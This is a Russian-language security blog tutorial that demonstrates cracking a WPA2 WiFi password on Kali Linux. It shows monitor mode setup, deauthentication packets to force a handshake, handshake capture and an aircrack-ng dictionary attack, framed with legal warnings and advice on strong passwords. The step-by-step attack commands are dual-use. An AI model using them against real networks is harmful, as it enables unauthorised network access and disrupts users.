главная - Статьи - Беспроводные сети WiFi
Как взломать WiFi WPA2
Дата обновления: 13.04.2021Теги: Безопасность WiFi
Внимание! Цель статьи - показать, что беспроводная сеть может быть уязвимой при использовании простого и распространенного пароля. Злоумышленник может абсолютно незаметно для вас, на удалении, вне зоны видимости видеокамер или охраны, сидя в машине и не вызывая подозрения записать совсем немного сетевого трафика и спокойно уехать, чтобы у себя, с помощью очень мощных компьютерных ресурсов (возможно, арендованных или взломанных) подбирать пароль вашей WiFi сети. Ваша защита - в ваших руках!
Не пытайтесь ломать чужие WiFi сети, помните - это уголовно наказуемое преступление, а не милая шалость!
Но одно дело - слышать, что подобрать пароль можно, а другое - увидеть, насколько это все реально.
__________
Итак, я вас предупредил, а теперь давайте посмотрим, как примерно все может происходить.
Будем использовать дистрибуетив Kali Linux - просто потому, что он самый популярный среди начинающих любителей инфобеза и в нем уже зашиты многие драйверы беспроводных карточек и установлены базовые утилиты. Скорее всего, вам может повезти и ничего хитро настраивать не придется.
Предположим, есть сеть myWifiNet с паролем p@$$w0rd.
Пароль достаточно не редкий и он точно будет в любой мало-мальски полной словарной базе злоумышленников. Прикинемся, что мы не знаем этот пароль и попробуем его узнать!
Считаем, что в компьютере есть WiFi карточка, совместимая с нашей задачей (а это может быть даже простейшая USB-сетевая карта TP-Link, например, у меня справилась с задачей старенькая TL-WN727N), запущен Kali Linux (виртуалка, Live CD, установленная на диск - не важно). Начали!
Практически все команды выполняются с правами рута, поэтому:
# sudo su -
(ну или предваряйте все команды sudo)
1) Подготовка
Смотрим, какие имеются подходящие сетевые интерфейсы:
# airmon-ng
Скорее всего, это wlan0.
Выключаем его:
# ifconfig wlan0 down
"Прибиваем" процессы, которые сейчас обращаются к беспроводной карточке и помешают перевести карту в режим мониторинга.
# airmon-ng check kill
Переводим карту в режим мониторинга (monitor mode):
# iwconfig wlan0 mode monitor
# ifconfig wlan0 up
Проверяем, что интерфейс переведен в режим Monitor:
# iwconfig
Если так не прокатило, пробуем так:
# airmon-ng start wlan0
Проверяем:
# iwconfig
Должно быть ок (т.е. Mode: Monitor)
2) Ищем "жертву"
Смотрим, что вообще есть в wifi эфире:
# airodump-ng wlan0
В выводе команды находим mac-адрес точки доступа (BSSID) и канал (CH) нашей сети (ESSID), пароль которой мы будем стараться найти. Пусть это будет:
BSSID: 11:22:33:44:55:66
CH: 8
# airodump-ng -c 8 -a wlan0
-a
- показывать только связанных с сетью клиентов
-с 8
- сеть на 8 канале
Нажмите букву "o" и цветом будут выделены клиенты (STATION укажет их mac-адреса), ассоциированные к одной точкой доступа (BSSID).
Здесь есть прямо интересные штуки, например, Probes - здесь указываются названия сетей, к которым пытаются подключиться клиенты (т.е. это запросы клиентов). Отсюда же интересная штука - сделали вы сеть с скрытым SSID, но клиент, подключающийся к такой сети, все равно выдаст ее название. С точки зрения хакера факт скрытой сети может привлечь внимание. Но тут уж все индивидуально.
3) Запись хендшейка
Немного матчасти: для того чтобы искать пароль сети, надо дождаться момента, когда беспроводной клиент будет пытаться подключиться к точке доступа. Для WPA/WPA2 этот процесс состоит из 4 этапного "рукопожатия" (4-way handshake), в процессе которого происходит обмен ключами между клиентом и точкой доступа. Вот именно это и нужно нам промониторить и записать для дальнейшего анализа.
Создаем папку, куда будут записываться трафик:
# mkdir /var/mycaps
Ждем перехвата хендшейка:
# airodump-ng --bssid 11:22:33:44:55:66 -c 8 -w /var/mycaps/ wlan0
Чтобы в захваченном трафике было что искать, нужен хендшейк (рукопожатие). Возможны два варианта действий:
- максимально скрытый способ - ждать, пока клиент сам штатно инициирует процесс подключения к точке доступа
- грубо, но быстро - не ждать, пока клиент на что-то решиться сам и "кикнуть спектатора со сцены", отправив клиенту "мертвые пакеты", из-за чего клиент отключиться от текущей точки доступа и попытается подключиться к ней снова. В теории, это может выдать нас (например, если в беспроводной сети ведется непрерывный анализ трафика), но мы не же настоящие хакеры...
Короче, пойдем по быстрому пути и заставим беспроводного клиента отключиться от сети. Для этого в другом окне выполним команду:
# aireplay-ng --deauth=5 -a 11:22:33:44:55:66 -c AA:BB:CC:DD:EE:F1 wlan0
- отправляем 5 deauth-пакетов: --deauth=5
- mac точки доступа: -a 11:22:33:44:55:66
- mac-адрес переподключаемого клиента: -c AA:BB:CC:DD:EE:F1
А в первом окне ждем парехвата хендшейка (ждем появления "WPA handshake <наша_сеть>" вверху справа). Как только дождалиь перехвата, завершаем процесс записи трафика и проверяем, что папка /var/mycaps не пуста!
Обратите внимание - на этом этапе злоумышленник покидает место расположения сети. Теперь ему нужны вычислительные мощности. Очень много мощностей :) Но! Это не то же самое, когда он был бы вынужден сидеть физически вблизи объекта, где его могут записать камеры наблюдения или охрана. А уже чере совсем небольшое время никто не сможет сопоставить факт стоянки какого-то авто в течение 15 минут и взлом сети.
4) Поиск пароля WiFi сети
Варианты:
1. перебор (брутфорс). Например, утилитой hashcat (https://github.com/hashcat/hashcat-utils/releases);
2. атака по словарю (тем же hashcat или aircrack-ng).
Проиллистриую один вариант - с помощью aircrack-ng (остальное - по желанию сами).
Наша цель - не реально кого-то ломать, а увидеть, что это реально, и оценить риск осуществления такого взлома!
Создадим текстовый файл /var/mydict/pwd_list.txt в который запишем несколько паролей (по одному на строку), один из которых - настоящий пароль нашей сети:
# mkdir /var/mydict && touch /var/mydict/pwd_list.txt
# cat /var/mydict/pwd_list.txt
2357657-23467
hgfsrrw$2K
p@$$w0rd
123455-676
%sMEFD-643
Это жалкое подобие многомиллионных баз паролей, которые использутся в реальности, но нам не недели ждать надо, а убедиться, что все реально.
Поиск пароля сети с использованием такого "словаря":
# aircrack-ng -a 2 -b 11:22:33:44:55:66 -w /var/mydict/pwd_list.txt /var/mycaps/*.cap
где:
/var/mycaps/*.cap
- путь к файлам с захваченным и записанным трафиком, в том числе и хендшейка
-a 2
- тип "WPA/WPA2/WPA2-PSK" (а "1" - если WEP, но это уже как-то несолидно совсем)
-b 11:22:33:44:55:66
- mac-адрес точки доступа беспроводной сети
-w /var/mydict/pwd_list.txt
- путь до словаря паролей (по которым идет перебор). Если словарей несколько, разделите их названия запятыми.
Можно было бы еще:
- указать и имя сети (параметр -e wifi_net_name) вместо MAC-адреса точки.
- записать найденный пароль сети в файл file_name (-l file_name)
В нашем примере пароль будет найдет моментально (что не удивительно).
Изучение вопроса, как заниматься брутфорсом (т.е. тупым перебором вариантов, или не очень тупым ;)), не будем здесь поднимать.
5) Выводы
Итак, какие можно из этого сделать выводы?
1) никаких простых словарных паролей! Сложный пароль - это единственный простой способ защиты WiFi, т.к. беспроводная сеть доступна всем и каждому, ваш сосед может месяцами вас "ломать" и вы даже знать этого не будете.
2) менять пароль раз в два месяца может быть неудобной мерой защиты, но зато позволит свести на нет попытки подобрать пароль, т.к. хакеры не успеют разгадать ваш старый пароль, а вы уже его поменяете на новый.
3) сети WiFi-Enterprise не просто так нужны, они позволяют управлять политикой паролей гораздо гибче, чем сообщать один пароль раз в два месяца всем сотрудникам или членам семьи/знакомым.
Конечно, не стоит паниковать, ведь если у вас пароль 12345, то его подберут и без Kali Linux :) а если у вас хоть мало-мальски сложный и нестандартный пароль - хе-хе - добро пожаловать, думающие, что подбор пароля - такое уж несложное занятие ;)
И в заключение - этичный хакинг - это когда вы умеете что-то, понимаете, как могут атаковать вас, но никогда не применяете ваши знания, нарушая закон и права других лиц!
Авторизуйтесь для добавления комментариев!